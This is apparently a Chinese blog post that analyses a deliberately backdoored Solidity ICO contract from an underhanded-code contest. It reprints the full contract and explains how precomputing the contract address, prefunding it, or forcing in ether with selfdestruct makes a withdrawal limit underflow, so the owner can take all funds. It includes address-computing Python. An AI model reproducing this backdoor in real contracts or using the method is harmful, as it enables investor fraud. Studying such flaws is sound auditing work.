序
Ethereum從2013年一直走到現(xiàn)在,已經(jīng)過去了五年。在2017年,出盡了風(fēng)頭,然而卻因?yàn)橹悄芎霞s的問題就搞出了好幾個(gè)大事情,其背后透漏出的就是開發(fā)者對(duì)Ethereum或者說EVM的不了解。普通大眾就更不明白了。2017年,尤其ICO項(xiàng)目層出不窮,然而合約代碼有多少是嚴(yán)格審計(jì)的?今天,我們來仔細(xì)審視一段代碼,看看有些項(xiàng)目方是如何操控ICO進(jìn)程的。
老規(guī)矩,先上ICO代碼
這段ICO代碼,有個(gè)提取限制,即owner在ICO完后的第一個(gè)week里可以最多取1個(gè)ETH,第二個(gè)week里可以最多取2個(gè)ETH,第三個(gè)week里可以最多取4TH,第四個(gè)week里可以最多取8TH,以此類推。
代碼來源于這里
/**
* Merdetoken
*
* See: https://theethereum.wiki/w/index.php/ERC20_Token_Standard
*
* This ICO allows participants to send ether to this contract in exchange
* for MDT tokens during the presale period (4 weeks).
*
* Once the presale period is over, no addition tokens may be created and the owner is
* able to withdraw the funds in according to a schedule which increases over time:
* - week 1: 1 ether
* - week 2: 2 ether
* - week 3: 4 ether
* - week 4: 8 ether
* ...and so on. This way as the project grows and further funds are required, more can
* be withdrawn, however, by deferring the funding, the owner cannot just cash out and
* skip town.
*
* An entry for a sinister contract...
*
* Content Info:
* http://u.solidity.cc/?t=1&cn=ZmxleGlibGVfcmVjc18y&iid=41e0d6e3f8114ddc86b2bd023e624f01&uid=869384457991671808&nid=244+272699400
*
*
* Licensed under both:
* - MIT License
* - Creative Commons Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0)
*
* Author information will be added once the contest has ended.
*/
// Not part of the exploit... Just shutting up compiler warnings...
pragma solidity ^0.4.10;
contract Merdetoken {
// ERC-20 constants
string public constant name = "Merdetoken";
string public constant symbol = "MDT";
uint8 public constant decimals = 18;
// The ICO owner
address owner;
// The token balance for each member
mapping (address => uint256) balances;
// Allowances for each member
mapping(address => mapping (address => uint256)) allowed;
// The total supply of these tokens
uint256 _totalSupply;
// The date that the presale ends and the token can be traded
uint256 activationDate;
// The last time the owner issued withdraw(uint256)
uint256 lastWithdrawDate;
/**
* constructor(uint256)
*
* Create a new instance of the Merdetoken, with a given presale
* duration.
*/
function Merdetoken(uint256 duration) payable {
// Set the ICO owner
owner = msg.sender;
// The owner can buy their own tokens with an endowment (if desired)
balances[msg.sender] = msg.value;
_totalSupply = msg.value;
// Set the ICO presale end date
activationDate = now + duration;
}
/**
* withdraw(uint256)
*
* After the presale, the ICO owner may withdraw Ether from the contract
* on a deferred schedule; once per week, the amount doubling each week.withdraw
*/
function withdraw(uint256 amount) {
// Cannot withdraw during the presale
if (now < activationDate) { throw; }
// Only the owner may withdraw funds
if (msg.sender != owner) { throw; }
// Only allow sane values to be sent
if (amount == 0 || amount > this.balance) { throw; }
// Can only withdraw once per week
if (now < lastWithdrawDate + (1 weeks)) { throw; }
lastWithdrawDate = now;
// Deferred withdraw schedule; may only withdraw 1 more ether than has ever
// been withdrawn. See top decription for schedule.
uint256 maxAmount = (_totalSupply - this.balance + (1 ether));
// Cannot withdraw more than the maximum allowed by schedule
if (amount > maxAmount) { throw; }
// Send the funds
if (!owner.send(amount)) { throw; }
}
/**
* fallback function
*
* Exchange Ether for MDT tokens. This may not be called once the presale has ended.
*/
function () payable {
// Can only buy tokens during the presale
if (now >= activationDate) { throw; }
// Give out the tokens
balances[msg.sender] += msg.value;
_totalSupply += msg.value;
}
/**
* ERC-20 token; nothing sinister below here (if there is, it wasn't intended)
* Mostly just copy and pasted from the de facto existing implmentation; changes marked
*/
function totalSupply() constant returns (uint totalSupply) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
// Cannot transfer tokens during the presale
if (now < activationDate) { return false; }
if (balances[msg.sender] < _amount || _amount == 0) { return false; }
balances[msg.sender] -= _amount;
balances[_to] += _amount;
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
// Cannot transfer tokens during the presale
if (now < activationDate) { return false; }
if (allowed[_from][msg.sender] < _amount || balances[_from] < _amount || _amount == 0) {
return false;
}
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
return true;
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
return true;
}
}
作弊方法
雖然明擺著有個(gè)提取限制,但是有沒有可能突破這個(gè)限制,項(xiàng)目方直接提款跑路呢?有!
請(qǐng)大家看withdraw函數(shù),最多能夠提取的金額maxAmount是由_totalSupply和this.balance決定的。而這兩者看似都是同時(shí)變化的(fallback函數(shù)和構(gòu)造函數(shù)),即_totalSuppy>= this.balance不變式總是成立,然而事實(shí)不總是如此,有多種方法可以打破這個(gè)不變式。
方法1
通過提前計(jì)算contract的部署地址,往這個(gè)地址打一筆錢(prefund),使得this.balance>_totalSupply成立,那么計(jì)算maxAmount就會(huì)下溢出,項(xiàng)目方可以直接跳過限制,直接全部提款跑路。
提前計(jì)算contract的部署地址
根據(jù)黃皮書的section 8: message call中所示,一個(gè)contract的地址取決于sender和sender' nonce(sender發(fā)送的tx數(shù)目).
The address of the new account is dened as being the rightmost 160 bits of the Keccak hash of the RLP encoding of the structure containing only the sender and the nonce. Thus we dene the resultant address for the new account a:

下面是python代碼:
# -*- coding: utf-8 -*-
from ethereum.utils import *
import sys
sender = sys.argv[1] #"0x003be5df5fef651ef0c59cd175c73ca1415f53ea";
nonce = encode_int(int(sys.argv[2]))
contract_address = mk_contract_address(sender, nonce)
print("sender: {}, nonce: {}, decode_addr: {}".format(sender, nonce,"0x" + decode_addr(contract_address)))
給一個(gè)不存在的ethereum地址轉(zhuǎn)賬會(huì)發(fā)什么?
還是根據(jù)黃皮書來找到答案。
Throughout the present work, it is assumed that if {$$\delta$$}1[r] was originally undefined, it will be created as an account with no code or state and zero balance and nonce.
(簡書markdown不支持?jǐn)?shù)學(xué)符號(hào),將就著看吧)簡單來說,如果接收方的recipient不存在,就創(chuàng)建一個(gè)。
測(cè)試
我先計(jì)算好要部署的contract的地址,通過MetaMask向其打一筆錢,然后在etherscan中可以發(fā)現(xiàn),出現(xiàn)一筆交易,此時(shí)沒有code選項(xiàng)卡。再通過remix部署合約,在etherscan中可以發(fā)現(xiàn)多了一個(gè)contract creation交易,此時(shí)code選項(xiàng)卡出現(xiàn)了。

方法2
其實(shí)上述方法還有不好的地方,就是可以讓人看到在合約創(chuàng)建之前就有一筆交易。其實(shí)還要一個(gè)更隱蔽的方法,selfdestruct(address), 這個(gè)函數(shù)可以向某個(gè)地址打一筆錢,而且沒有任何痕跡。
結(jié)論
事實(shí)證明,類似上述代碼的ICO都有操控的嫌疑。比如說, 通過計(jì)算好預(yù)期的市場(chǎng)價(jià)格,通過suicide向ICO地址打一筆錢,使得totalSupply不變,而籌得金額卻增加,(提前)結(jié)束整個(gè)募集過程后,使得單個(gè)token的市場(chǎng)價(jià)格提高,達(dá)到預(yù)期的結(jié)果(瘋狂割韭菜)。
最后要打賞的客官這邊: 0x003be5df5fef651ef0c59cd175c73ca1415f53ea